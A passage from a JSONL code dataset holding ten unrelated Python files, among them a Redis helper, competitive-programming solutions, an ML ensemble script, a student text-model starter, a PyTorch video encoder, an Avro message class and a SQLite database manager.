time\n\nimport redis\nimport threading\nfrom public.ConfigParser import ConfigParser\n# 工具类简单,如果是字节,转成str\nfrom redis import StrictRedis\n\n\ndef bytes_to_str(s, encoding='utf-8'):\n \"\"\"Returns a str if a bytes object is given.\"\"\"\n if isinstance(s, bytes):\n return s.decode(encoding)\n return s\n\n\nclass RedisToo():\n def __init__(self):\n self.con = ConfigParser()\n self.links = []\n self.pool = redis.ConnectionPool(host=self.con.getConfig('redisConfig', 'host'),\n port=self.con.getConfig('redisConfig', 'port'),\n db=self.con.getConfig('redisConfig', 'db'))\n self.r = redis.Redis(connection_pool=self.pool)\n self.p = redis.StrictRedis(connection_pool=self.pool)\n\n # 获取 并 删除 列表某些元素\n def getListData(self, name=\"list_name1\", num=1):\n dataList = []\n for i in range(int(num)):\n data = self.r.lpop(name)\n if data != None:\n nData = bytes_to_str(data, 'utf-8')\n dataList.append(nData)\n\n return dataList\n\n # 批量添加列表\n def setListData(self, name='list_name1', lists=[]):\n if len(lists) <= 0:\n return False\n self.r.rpush(name, *lists)\n return True\n","sub_path":"demo/getXs8NovelsV2.0/public/RedisToo.py","file_name":"RedisToo.py","file_ext":"py","file_size_in_byte":2205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"262411928","text":"from collections import deque\nimport sys\nn = int(sys.stdin.readline()) #시간제한이 있으므로 빠르게 받을때 사용함\nqueue = deque()\n\nfor i in range(n):\n k=sys.stdin.readline().split() #얘도 필수\n if k[0] == 'push':\n queue.append(k[1])\n if k[0] == 'pop':\n if len(queue)>0:\n print(queue[0])\n queue.popleft()\n else:\n print(-1)\n if k[0] == 'size':\n print(len(queue))\n if k[0] == 'empty':\n if len(queue) > 0:\n print(0)\n else:\n print(1)\n if k[0] == 'front':\n if len(queue) > 0:\n print(queue[0])\n else:\n print(-1)\n if k[0] == 'back':\n if len(queue) > 0:\n print(queue[-1])\n else:\n print(-1)\n\n","sub_path":"18258.py","file_name":"18258.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"352506009","text":"import numpy as np\nimport sklearn.feature_extraction.text\nimport sklearn.grid_search\nimport sklearn.linear_model\nimport xgboost as xgb\nimport pickle\nimport scipy\n\nimport input_output as io\nimport feature_extraction as fe\nimport tuning as tuning\n\n\ndef make_predictions(train, target, test, load_list=[]):\n result = np.zeros(len(test))\n seed_list = [1234, 2345, 3456, 4567, 5678, 6789, 7890, 8901, 9012, 123]\n\n\n print(\"Training model1...\")\n if \"rf_entropy\" not in load_list:\n model1 = sklearn.ensemble.RandomForestClassifier(n_estimators=2000, max_depth=8, criterion=\"entropy\", bootstrap=False,\n min_samples_leaf=4, min_samples_split=2, random_state=1234)\n model1.fit(train, target)\n pickle.dump(model1, open(\"final_models/rf/rf_entropy.pkl\", \"wb\"))\n else:\n model1 = pickle.load(open(\"final_models/rf/rf_entropy.pkl\", \"rb\"))\n pred1 = model1.predict_proba(test)[:, 1]\n\n\n print(\"Training model2...\")\n pred2 = np.zeros(len(pred1))\n for i in range(10):\n if \"xgb\" not in load_list:\n model2 = xgb.XGBClassifier(n_estimators=100, max_depth=3, colsample_bytree=0.9, subsample=1,\n learning_rate=0.1, seed=seed_list[i])\n model2.fit(train, target)\n pickle.dump(model2, open(\"final_models/xgb/xgb_n_\"+str(i)+\".pkl\", \"wb\"))\n else:\n model2 = pickle.load(open(\"final_models/xgb/xgb_n_\"+str(i)+\".pkl\", \"rb\"))\n pred2 += model2.predict_proba(test)[:, 1]\n pred2 /= len(seed_list)\n\n result = 0.32*pred1 + 0.68*pred2\n\n return result\n\n\ndef main():\n train, test, target, test_index = io.load_data()\n train, test, target = fe.preprocess_data(train, test, target)\n\n #tuning.tune_xgboost(train, target, load_list=[])\n #tuning.parametr_tuning(train, target, param_grid={})\n #tuning.ensemble_tuning(train, target, load_list=[])\n\n model = sklearn.ensemble.RandomForestClassifier(n_estimators=2000, max_depth=8, criterion=\"entropy\", bootstrap=False,\n min_samples_leaf=4, min_samples_split=2, random_state=1234)\n\n model.fit(train, target)\n result = model.predict_proba(test)[:, 1]\n\n \"\"\"\n result = make_predictions(train, target, test, load_list=[\"rf_entropy\", \"xgb\"])\n \"\"\"\n io.save_result(test_index, result)\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"contests/SHAD Spring 2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"477765792","text":"\"\"\" You should have a starter.py with a TextModel class and at least these two functions:\nreadTextFromFile(self, filename), which accepts a filename (a string) and places all of the text in that file into self.text as a very large string.\nmakeSentenceLengths(self), which uses the string in self.text to create a dictionary of sentence-length frequencies for that text, and places that dictionary into self.sentenceLengths.\nAgain, more methods are wonderful (and are listed on the text ID page), but not needed for this starter.py submission.\nHere is the TextID project page \n\"\"\"\n#\n# textmodel.py\n#\n# TextModel project!\n#\n# Name(s): Courtney Reed, Cindy Lay\n#\n\nimport string # used by function cleanString\n\nclass TextModel(object):\n \"\"\"A class supporting complex models of text.\"\"\"\n\n def __init__(self):\n \"\"\"Create an empty TextModel.\"\"\"\n #\n # Create dictionaries for each characteristic\n #\n self.words = {} # For counting words\n self.wordlengths = {} # For counting word lengths\n self.stems = {} # For counting stems\n self.sentencelengths = {} # For counting sentence lengths\n #\n # Create another of your own\n #\n self.myparameter = {} # For counting ___________\n\n def __repr__(self):\n \"\"\"Display the contents of a TextModel.\"\"\"\n s = 'Words:\\n' + str(self.words) + '\\n\\n'\n s += 'Word lengths:\\n' + str(self.wordlengths) + '\\n\\n'\n s += 'Stems:\\n' + str(self.stems) + '\\n\\n'\n s += 'Sentence lengths:\\n' + str(self.sentencelengths) + '\\n\\n'\n s += 'MY PARAMETER:\\n' + str(self.myparameter)\n return s\n\n def readTextFromFile(self, filename):\n f = open(filename)\n\n self.text = f.read() #we removed self.text from this\n\n f.close()\n return self.text\n\n\n def makeSentenceLengths(self):\n \"\"\"\n use the text in self.text to create the Python dictionary self.sentencelengths\n \"\"\"\n LoW = self.text.split()\n d = {}\n x = 0\n for i in range(len(LoW)):\n if LoW[i][-1] in '.?!':\n sentence_length = i + 1 - x \n if sentence_length in d.keys():\n d[sentence_length] += 1 \n else:\n d[sentence_length] = 1\n x = i + 1 \n self.sentencelengths = d\n\n\n def cleanString(self, s):\n \"\"\"\n accept a string s and return a string with no punctuation and no upper-case letters\n \"\"\"\n for p in string.punctuation:\n s = s.replace(p, '')\n s = s.lower()\n return s\n\n \n cLoW = self.cleanString(Low) # we can use str() to convert into a string\n for i in range(len(cLoW)):\n if cLoW[i][-1] in ' ':\n word_length = i + 1 - x \n if word_length in d.keys():\n d[word_length] += 1 \n else:\n d[word_length] = 1\n x = i + 1 \n self.sentencelengths = d\n\n def makeWordLengths(self):\n \"\"\" \n takes input string s, outputs dictionary of word frequency\n        \"\"\"\n s = self.cleanString(self.text).split()\n cLoW = s\n d = {}\n x = 0\n for i in range(len(cLoW)):\n word_length = len(cLoW[i])\n if word_length in d.keys():\n d[word_length] += 1 \n else:\n d[word_length] = 1\n x = i + 1 \n self.wordlengths = d\n\n def makeWords(self):\n \"\"\"\n makes a dictionary of words themselves (cleaned!)\n \"\"\"\n s = self.cleanString(self.text).split()\n mLoW = s\n d = {}\n x = 0\n for i in range(len(mLoW)):\n the_word = mLoW[i]\n if the_word in d.keys():\n d[the_word] += 1\n else:\n d[the_word] = 1\n x = i + 1\n self.words = d\n\n def makeStems(self):\n \"\"\"makes a dictionary of the stems of the words themselves (cleaned!)\n \"\"\"\n s = self.cleanString(self.text).split() \n sLoW = s\n d = {}\n x = 0 \n for i in range(len(sLoW)):\n x = create_stem(sLoW[i])\n if x in d.keys():\n d[x] += 1\n else:\n d[x] = 1\n self.stems = d\n\n\n # def makeOtherFeature(self):\n\n # def __repr__(self):\n\n # ##Testing your TextModel's model-building\n\n # def normalizeDictionary(self, d):\n \n # def smallestValue(self, nd1, nd2):\n\n # def compareDictionaries(self, d, nd1, nd2):\n\n # def createAllDictionaries(self):\n\n # def compareTextWithTwoModels(self, model1, model2):\n\n # ##now test it!\n\n \n\n\n\n\n# And test things out here...\nTM = TextModel()\n# Add calls that put information into the model\ntest_txt = \"Hello my name is.\"\nprint(\"TextModel1:\", TM)","sub_path":"starter.py","file_name":"starter.py","file_ext":"py","file_size_in_byte":4914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"116656601","text":"def listsum_iterative(numlist):\n theSum = 0\n for i in numlist:\n theSum += i\n return theSum\n\n\ndef listsum(numlist):\n if len(numlist) == 1:\n return numlist[0]\n else:\n return numlist[0] + listsum(numlist[1:])\n\nprint(listsum_iterative([i for i in range(1, 101)]))\nprint(listsum([i for i in range(1, 101)]))\n\n","sub_path":"Recursion/listsum.py","file_name":"listsum.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"533280445","text":"# --------------------------------------------------------\n# Written by Yufei Ye (https://github.com/JudyYe)\n# --------------------------------------------------------\nfrom __future__ import print_function\n\nimport torch\nimport torch.nn as nn\nimport torchvision.models as models\n\nfrom .layers import build_mlp\n\n\n\nclass VidEncoder(nn.Module):\n def __init__(self, input_dim, output_dim, long_term, hidden_dims=None, norm='none', act='relu'):\n super().__init__()\n self.input_dim = input_dim\n self.output_dim = output_dim\n self.long_term = long_term\n\n if hidden_dims is None:\n layers = [input_dim * 2, output_dim]\n self.encoder1 = None\n self.mu_head = nn.Linear(layers[0], output_dim)\n self.logvar_head = nn.Linear(layers[0], output_dim)\n else:\n layers = (input_dim * 2,) + hidden_dims\n self.encoder1 = build_mlp(layers, batch_norm=norm, activation=act, final_nonlinearity=True)\n self.mu_head = nn.Linear(layers[-1], output_dim)\n self.logvar_head = nn.Linear(layers[-1], output_dim)\n\n def forward(self, vid_batch):\n \"\"\"\n Called during training. 1. encode to u 2. resample\n :return: obj_z: (Dt, V, D), kl_loss: criterion\n \"\"\"\n obj_z, kl_loss, ori_z, src_feats = self._forward(vid_batch, True)\n return obj_z, kl_loss, ori_z, src_feats\n\n def no_sample(self, vid_batch):\n \"\"\"\n Called during realistic testing. 1. encode u. 2. NO sample\n :return: obj_z: (Dt, V, D), kl_loss: criterion\n \"\"\"\n obj_z, kl_loss, ori_z, src_feats = self._forward(vid_batch, False)\n return obj_z, kl_loss, ori_z, src_feats\n\n def _forward(self, vid_batch, sample=True):\n raise NotImplementedError\n\n def batch_sample(self, V, time_len, seed, image):\n \"\"\"\n Called during inception. Don't encode. sample from N(0, 1)\n :param V:\n :param time_len:\n :param seed:\n :return:\n \"\"\"\n if seed is not None:\n torch.manual_seed(seed)\n u = torch.randn(V, self.output_dim).unsqueeze(0).cuda() # (1, V, D)\n img_z = self.generate_z_from_u(u, time_len, V)\n return img_z\n\n def reparameterize(self, mu, logvar, sample):\n \"\"\"generate sample from N(mu, var). or no sample\"\"\"\n if self.training and sample:\n std = torch.exp(0.5 * logvar)\n eps = torch.randn_like(std) ## (0, 1)\n return eps.mul(std).add_(mu)\n # return mu\n else:\n # mu is encoded by (src, dst) of the current data point.\n return mu\n\n def mu_logvar(self, input_feat):\n out = input_feat\n if self.encoder1 is not None:\n out = self.encoder1(input_feat)\n mu = self.mu_head(out)\n logvar = self.logvar_head(out)\n\n # mu = nn.functional.normalize(mu)\n return mu, logvar\n\n def generate_z_from_u(self, u, dt, V):\n raise NotImplementedError\n\n\nclass TrajHierarchy(VidEncoder):\n def __init__(self, feat_dim_list, output_dim, dt, show_length, long_term, hidden_dims, norm, act):\n \"\"\"under construction!!!\"\"\"\n assert len(feat_dim_list) == 1\n input_dim = feat_dim_list[0]\n super().__init__(input_dim, output_dim, long_term, hidden_dims, norm, act)\n self.dt = dt\n self.show_length = show_length\n\n self.lstm_layers = 1\n self.lstm = nn.LSTM(output_dim, output_dim, self.lstm_layers)\n\n self.mylstm = nn.LSTM(512, 512, self.lstm_layers)\n\n resent = models.resnet18(pretrained=True)\n modules = list(resent.children())[:-1]\n self.image_tower = nn.Sequential(*modules)\n\n def _forward(self, vid, sample=True):\n dt, V, _, C, H, W = vid['image'].size()\n dst_image = vid['image'][self.long_term].squeeze(1)\n\n # src_image = vid['image'][0].squeeze(1)\n # src_feat = self.image_tower(src_image).view(V, -1)\n # self.show_length = 4\n src_feats = []\n for i in range(self.dt):\n src_image = vid['image'][i].squeeze(1)\n src_feat = self.image_tower(src_image).view(V, -1)\n src_feats.append(src_feat)\n\n src_feat, _ = self.mylstm(torch.stack(src_feats[:4]))\n src_feat = torch.sum(src_feat, dim=0)\n\n dst_feat = self.image_tower(dst_image).view(V, -1) ## (1, 512)\n src_dst = torch.cat([src_feat, dst_feat], dim=-1)\n long_u_mu, logvar = self.mu_logvar(src_dst)\n reparam = self.reparameterize(long_u_mu, logvar, sample).unsqueeze(0) # (1, V, D)\n\n # (Dt, V, D)\n img_z = self.generate_z_from_u(reparam, dt-self.show_length+1, V)\n kl_loss = -0.5 * torch.mean(1 + logvar - long_u_mu.pow(2) - logvar.exp())\n return img_z, kl_loss, long_u_mu, src_feats\n\n def generate_z_from_u(self, u, dt, V):\n \"\"\"\n :param u: (1, V, D)\n :return: (dt, V, D)\n \"\"\"\n h0 = torch.zeros(u.size()).to(u)\n zeros = torch.zeros(u.size()).to(u).expand(dt, V, self.output_dim)\n # [1, V, 8], [dt, V, 8], [1, V, 8]\n img_z, (h0, c0) = self.lstm(zeros, (h0, u))\n return img_z\n\n\ndef kl_criterion(mu1, logvar1, mu2, logvar2):\n sigma1 = logvar1.mul(0.5).exp()\n sigma2 = logvar2.mul(0.5).exp()\n kld = torch.log(sigma2 / sigma1) + (torch.exp(logvar1) + (mu1 - mu2) ** 2) / (2 * torch.exp(logvar2)) - 1 / 2\n return kld.mean()\n\n\n\nEncoderFactory = {\n 'traj': TrajHierarchy,\n # 'noZ': ImageNoZ,\n # 'fp': ImageFixPrior,\n # 'lp': ImageLearnedPrior,\n}\n","sub_path":"cvp/vid_encoder.py","file_name":"vid_encoder.py","file_ext":"py","file_size_in_byte":5574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"100430337","text":"#!/usr/bin/env python3\n# MIT License\n#\n# Copyright (c) 2020 FABRIC Testbed\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n#\n#\n# Author: Komal Thareja (kthare10@renci.org)\n\"\"\"\nImplements Avro representation of a Lease Reservation\n\"\"\"\n\nfrom __future__ import annotations\n\nfrom typing import List\n\nfrom fabric_mb.message_bus.message_bus_exception import MessageBusException\nfrom fabric_mb.message_bus.messages.reservation_predecessor_avro import ReservationPredecessorAvro\nfrom fabric_mb.message_bus.messages.ticket_reservation_avro import TicketReservationAvro\n\n\nclass LeaseReservationAvro(TicketReservationAvro):\n \"\"\"\n Implements Avro representation of a Lease Reservation\n \"\"\"\n def __init__(self):\n super().__init__()\n self.authority = None\n self.join_state = None\n self.leased_units = None\n self.redeem_processors = []\n self.name = self.__class__.__name__\n\n def from_dict(self, value: dict):\n \"\"\"\n The Avro Python library does not support code generation.\n For this reason we must provide conversion from dict to our class for de-serialization\n :param value: incoming message dictionary\n \"\"\"\n super().from_dict(value)\n self.authority = value.get('authority', None)\n self.join_state = value.get('join_state', None)\n self.leased_units = value.get('leased_units', None)\n temp_redeem = value.get('redeem_processors', None)\n if temp_redeem is not None:\n for p in temp_redeem:\n predecessor = ReservationPredecessorAvro()\n predecessor.from_dict(p)\n self.redeem_processors.append(predecessor)\n\n def to_dict(self) -> dict:\n \"\"\"\n The Avro Python library does not support code generation.\n For this reason we must provide a dict representation of our class for serialization.\n :return dict representing the class\n \"\"\"\n if not self.validate():\n raise MessageBusException(\"Invalid arguments\")\n\n result = super().to_dict()\n if result is None:\n result = {}\n result['authority'] = self.authority\n if self.join_state is not None:\n result['join_state'] = self.join_state\n\n if self.leased_units is not None:\n result['leased_units'] = self.leased_units\n\n if self.redeem_processors is not None and len(self.redeem_processors) > 0:\n temp = []\n for p in self.redeem_processors:\n temp.append(p.to_dict())\n result['redeem_processors'] = temp\n\n return result\n\n def __str__(self):\n return \"{} authority: {} join_state: {} leased_units: {} redeem_processors: {}\".format(super().__str__(),\n self.authority,\n self.join_state,\n self.leased_units,\n self.redeem_processors)\n\n def print(self):\n \"\"\"\n Print reservation on console\n Used by management cli\n \"\"\"\n print(\"\")\n print(\"Reservation ID: {} Slice ID: {}\".format(self.reservation_id, self.slice_id))\n if self.rtype is not None or self.notices is not None:\n print(\"Resource Type: {} Notices: {}\".format(self.rtype, self.notices))\n\n if self.start is not None or self.end is not None or self.requested_end is not None:\n print(\"Start: {} End: {} Requested End: {}\".format(self.start, self.end, self.requested_end))\n\n if self.units is not None or self.state is not None or self.pending_state is not None:\n print(\"Units: {} State: {} Pending State: {}\".format(self.units, self.state, self.pending_state))\n\n print(\"Broker: {}\".format(self.broker))\n\n if self.ticket is not None:\n print(\"ticket properties: {}\".format(self.ticket))\n\n if self.renewable is not None:\n print(\"Renewable: {}\".format(self.renewable))\n\n if self.renew_time is not None:\n print(\"Renew Time: {}\".format(self.renew_time))\n\n print(\"Authority: {}\".format(self.authority))\n\n if self.join_state is not None:\n print(\"Join State: {}\".format(self.join_state))\n\n if self.leased_units is not None:\n print(\"Leased Units: {}\".format(self.leased_units))\n\n if self.redeem_processors is not None:\n index = 0\n for rp in self.redeem_processors:\n print(\"redeem Predecessor# {}: {}\".format(index, rp))\n index += 1\n\n if self.local is not None:\n print(\"Local Properties: {}\".format(self.local))\n if self.config is not None:\n print(\"Config Properties: {}\".format(self.config))\n if self.request is not None:\n print(\"Request Properties: {}\".format(self.request))\n if self.resource is not None:\n print(\"Resource Properties: {}\".format(self.resource))\n print(\"\")\n\n def get_authority(self) -> str:\n \"\"\"\n Return authority\n @return authority\n \"\"\"\n return self.authority\n\n def set_authority(self, value: str):\n \"\"\"\n Set authority\n @param value value\n \"\"\"\n self.authority = value\n\n def get_join_state(self) -> int:\n \"\"\"\n Return Join State\n @return join state\n \"\"\"\n return self.join_state\n\n def set_join_state(self, value: int):\n \"\"\"\n Set join state\n @param value value\n \"\"\"\n self.join_state = value\n\n def get_leased_units(self) -> int:\n \"\"\"\n Return number of leased units\n @return leased units\n \"\"\"\n return self.leased_units\n\n def set_leased_units(self, value: int):\n \"\"\"\n Set leased units\n @param value value\n \"\"\"\n self.leased_units = value\n\n def get_redeem_predecessors(self) -> List[ReservationPredecessorAvro]:\n \"\"\"\n Return redeem processors\n @return redeem processors\n \"\"\"\n return self.redeem_processors\n\n def __eq__(self, other):\n if not isinstance(other, LeaseReservationAvro):\n return False\n\n return self.name == other.name and self.reservation_id == other.reservation_id and \\\n self.slice_id == other.slice_id and self.start == other.start and self.end == other.end and \\\n self.requested_end == other.requested_end and self.rtype == other.rtype and \\\n self.units == other.units and \\\n self.state == other.state and self.pending_state == other.pending_state and \\\n self.local == other.local and \\\n self.request == other.request and self.resource == other.resource and \\\n self.notices == other.notices and \\\n self.broker == other.broker and self.ticket == other.ticket and \\\n self.renewable == other.renewable and \\\n self.renewable == other.renew_time and \\\n self.authority == other.authority and self.join_state == other.join_state and \\\n self.leased_units == other.leased_units and self.redeem_processors == other.redeem_processors\n","sub_path":"fabric_mb/message_bus/messages/lease_reservation_avro.py","file_name":"lease_reservation_avro.py","file_ext":"py","file_size_in_byte":8479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"256359251","text":"n=int(input())\nprizes=[]\nfor _ in range(n):\n dice=[0]*6\n prize=0\n a=list(map(int,input().strip().split()))\n for element in a:\n dice[element-1]+=1\n if max(dice)==4:\n prize=50000+5000*(dice.index(4)+1)\n elif max(dice)==3:\n prize=10000+1000*(dice.index(3)+1)\n elif max(dice)==2 and dice.count(2)==2:\n prize=2000+500*(dice.index(2)+1)+500*(dice.index(2,dice.index(2)+1)+1)\n elif max(dice)==2:\n prize=1000+100*(dice.index(2)+1)\n else:\n idx=0\n for i in range(5,-1,-1):\n if dice[i]==1:\n idx=i\n break\n prize=(idx+1)*100\n prizes.append(prize)\nprint(max(prizes))","sub_path":"baekjoon2484.py","file_name":"baekjoon2484.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"489860592","text":"# Definition for singly-linked list.\n# class ListNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\n# Solution 1: Reverse the list, if the the reversed tail is head, it has circle.\nclass Solution(object):\n def hasCycle(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: bool\n \"\"\"\n if head is None:\n return False\n\n pre = head\n next_node = head.next\n\n if next_node is None:\n return False\n\n while next_node:\n newNext = next_node.next\n\n if newNext is not None and newNext == head:\n return True\n\n next_node.next = pre\n pre = next_node\n next_node = newNext\n\n return pre == head\n\n# Solution 2: Use two pointers, one slow pointer iterate one step, one fast pointer iterate two steps, if they lay, there is a circle.\nclass Solution2(object):\n def hasCycle(self, head):\n \"\"\"\n :type head: ListNode\n :rtype: bool\n \"\"\"\n if head is None:\n return False\n\n fast = head\n slow = head\n while fast and slow:\n fast = fast.next\n\n if fast is None:\n return False\n else:\n fast = fast.next\n\n slow = slow.next\n\n if fast == slow:\n return True\n return False","sub_path":"141. Linked List Cycle.py","file_name":"141. Linked List Cycle.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"490689313","text":"#!/usr/bin/env python3\n# coding=utf-8\n\nimport sqlite3\nimport os\nimport platform\nimport tempfile\nfrom .ConstantesBaseDatosSQLite import *\n\n\nclass GestorBD(object):\n \n def __init__(self, archivo_db):\n self.debug=False\n self.archivo_db=archivo_db\n self.conexion=sqlite3.connect(self.archivo_db)\n self.cursor=self.conexion.cursor()\n self.ejecutar_sentencias([\"PRAGMA foreign_keys=ON\"])\n\n @staticmethod \n def get_preludio_sql(nombre_funcion):\n return PRELUDIO_SQL.format(nombre_funcion)\n\n @staticmethod\n def crear_sentencia_update(sentencia):\n sql=\"\\tsql=\\\"\"+sentencia+\"\\\"\\n\"\n sql+=\"\\tdb.Execute sql, dbFailOnError\\n\"\n return sql\n \n def crear_tabla_itinerancias(self, nombre_tabla=NOMBRE_TABLA_ITINERANCIAS):\n self.ejecutar_sentencias(\n [\n SQL_CREACION_PLANTILLAS.format ( nombre_tabla )\n ]\n )\n @staticmethod\n def get_procedimiento(nombre, sql_intermedio):\n inicio=GestorBD.get_preludio_sql(nombre)\n fin=GestorBD.get_fin_sql()\n return inicio+sql_intermedio+fin\n @staticmethod\n def get_fin_sql():\n return FIN_SQL_ACCESS\n \n def activar_depuracion(self):\n self.debug=True\n \n def desactivar_depuracion(self):\n self.debug=False\n \n def get_unico_valor(self, sql_con_valor_unico):\n if self.debug:\n print (sql_con_valor_unico)\n filas=self.get_filas(sql_con_valor_unico)\n #print(filas)\n return filas[0][0]\n \n def ejecutar_sentencias(self, lista_sentencias):\n for sql in lista_sentencias:\n if self.debug:\n print(\"-\"*20)\n print (sql)\n print(\"-\"*20)\n try:\n self.cursor.execute(sql)\n except:\n print(\"Fallo la sentencia siguiente:\")\n print(sql)\n self.conexion.commit()\n \n def get_filas(self, select):\n filas=self.cursor.execute(select)\n return filas.fetchall()\n def cuantos_cumplen_select(self, select):\n filas=self.get_filas(select)\n return len(filas)\n def __del__(self):\n self.cursor.close()\n \n def get_descripcion(self):\n return self.cursor.description\n def get_nombres_columnas(self):\n descripciones=self.cursor.description\n nombres_columnas=[]\n for d in descripciones:\n nombres_columnas.append ( d[0] )\n return nombres_columnas\n \n def extraer_tuplas_especialidades_de_fichero(self, nombre_fichero):\n fichero=open(nombre_fichero, encoding=\"utf-8\")\n lineas=fichero.readlines()\n tuplas=[]\n for l in lineas:\n codigo=l[0:3]\n descripcion=l[4:].strip()\n tuplas.append( ( codigo, descripcion ) )\n fichero.close()\n return tuplas\n \n def crear_tabla_todas_especialidades(self, nombre_tabla_especialidades):\n sql=SQL_CREACION_ESPECIALIDADES.format(nombre_tabla_especialidades)\n \n self.ejecutar_sentencias([sql])\n ficheros=[\"590\", \"591\", \"592\", \"594\", \"595\", \"596\", \"597\"]\n for f in ficheros:\n self.crear_tabla_especialidades(f, nombre_tabla_especialidades)\n \n \n def crear_tabla_especialidades(self, codigo_cuerpo, nombre_tabla_especialidades):\n f=codigo_cuerpo\n sql=[]\n dir_actual=os.path.dirname(os.path.realpath(__file__))\n ruta_fichero=dir_actual+os.path.sep+\"Especialidades0{0}.txt\".format(f)\n especialidades=self.extraer_tuplas_especialidades_de_fichero( ruta_fichero )\n for tupla in especialidades:\n codigo=tupla[0]\n nombre=tupla[1]\n # Codigo Nombre Idioma ¿tiempo parcial?\n insert=\"insert or ignore into especialidades values ('0{2}{0}', '{1}', 'ESPAÑOL', 'NO')\".format(codigo, nombre, f)\n sql.append(insert)\n # Codigo Nombre Idioma ¿tiempo parcial?\n insert=\"insert or ignore into especialidades values ('P{2}{0}', '{1}', 'ESPAÑOL', 'SI')\".format(codigo, nombre, f)\n sql.append(insert)\n # Codigo Nombre Idioma ¿tiempo parcial?\n insert=\"insert or ignore into especialidades values ('B{2}{0}', '{1}', 'INGLÉS', 'NO')\".format(codigo, nombre, f)\n sql.append(insert)\n # Codigo Nombre Idioma ¿tiempo parcial?\n insert=\"insert or ignore into especialidades values ('W{2}{0}', '{1}', 'INGLÉS', 'SI')\".format(codigo, nombre, f)\n sql.append(insert)\n # Codigo Nombre Idioma ¿tiempo parcial?\n insert=\"insert or ignore into especialidades values ('R{2}{0}', '{1}', 'FRANCÉS', 'SI')\".format(codigo, nombre, f)\n sql.append(insert)\n # Codigo Nombre Idioma ¿tiempo parcial?\n insert=\"insert or ignore into especialidades values ('F{2}{0}', '{1}', 'FRANCÉS', 'NO')\".format(codigo, nombre, f)\n sql.append(insert)\n self.ejecutar_sentencias(sql)\n \n def get_sql_especialidades(self):\n sql=[]\n insert_primaria=\"insert or ignore into especialidades values ('PRIMARIA', 'DESCONOCIDA', 'ESPAÑOL', 'NO')\"\n sql.append(insert_primaria)\n insert_secundaria=\"insert or ignore into especialidades values ('SECUNDARIA', 'DESCONOCIDA', 'ESPAÑOL', 'NO')\"\n sql.append(insert_secundaria)\n ficheros=[\"590\", \"591\", \"592\", \"594\", \"595\", \"596\", \"597\"]\n for f in ficheros:\n self.crear_tabla_especialidades(f, \"especialidades\")\n return sql\n \n def crear_tablas_iniciales_en_bd(self):\n self.ejecutar_sentencias([\"PRAGMA foreign_keys=ON\"])\n self.ejecutar_sentencias([\"PRAGMA foreign_keys=ON\"])\n self.crear_tabla_todas_especialidades(\"especialidades\")\n self.ejecutar_sentencias([ SQL_CREACION_NOMBRAMIENTOS ])\n self.ejecutar_sentencias ( BD_RESULTADOS.get_sql_especialidades() )\n \n def cambiar_nombres_por_codigos(self, nombre_tabla_rutas, nombre_tabla_localidades):\n sql_localidades=\"select nombre_localidad from {0}\".format ( nombre_tabla_localidades )\n if self.debug:\n print (sql_localidades)\n filas_localidades=self.get_filas ( sql_localidades )\n sql_extractor_codigo=\"select codigo_localidad from {0} where nombre_localidad='{1}'\"\n sentencias_update=[]\n for localidad in filas_localidades:\n codigo_localidad=self.get_unico_valor ( sql_extractor_codigo.format(\n nombre_tabla_localidades, localidad[0]\n ), 'codigo_localidad')\n sql_update=\"update {0} set origen='{1}' where origen='{2}'\".format (\n nombre_tabla_rutas, codigo_localidad, localidad[0]\n )\n sentencias_update.append(sql_update)\n sql_update=\"update {0} set destino='{1}' where destino='{2}'\".format (\n nombre_tabla_rutas, codigo_localidad, localidad[0]\n )\n sentencias_update.append(sql_update)\n \n excepciones=[\n (\"130360002\", \"Cortijos de Arriba\"),\n (\"130360002\", \"Cortijo de Arriba\"),\n ]\n for tupla in excepciones:\n codigo_localidad=tupla[0]\n localidad=tupla[1]\n sql_update=\"update {0} set origen='{1}' where origen='{2}'\".format (\n nombre_tabla_rutas, codigo_localidad, localidad\n )\n sentencias_update.append(sql_update)\n sql_update=\"update {0} set destino='{1}' where destino='{2}'\".format (\n nombre_tabla_rutas, codigo_localidad, localidad\n )\n sentencias_update.append(sql_update)\n \n self.ejecutar_sentencias(sentencias_update)\n","sub_path":"utilidades/src/utilidades/basedatos/GestorBD.py","file_name":"GestorBD.py","file_ext":"py","file_size_in_byte":8112,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} 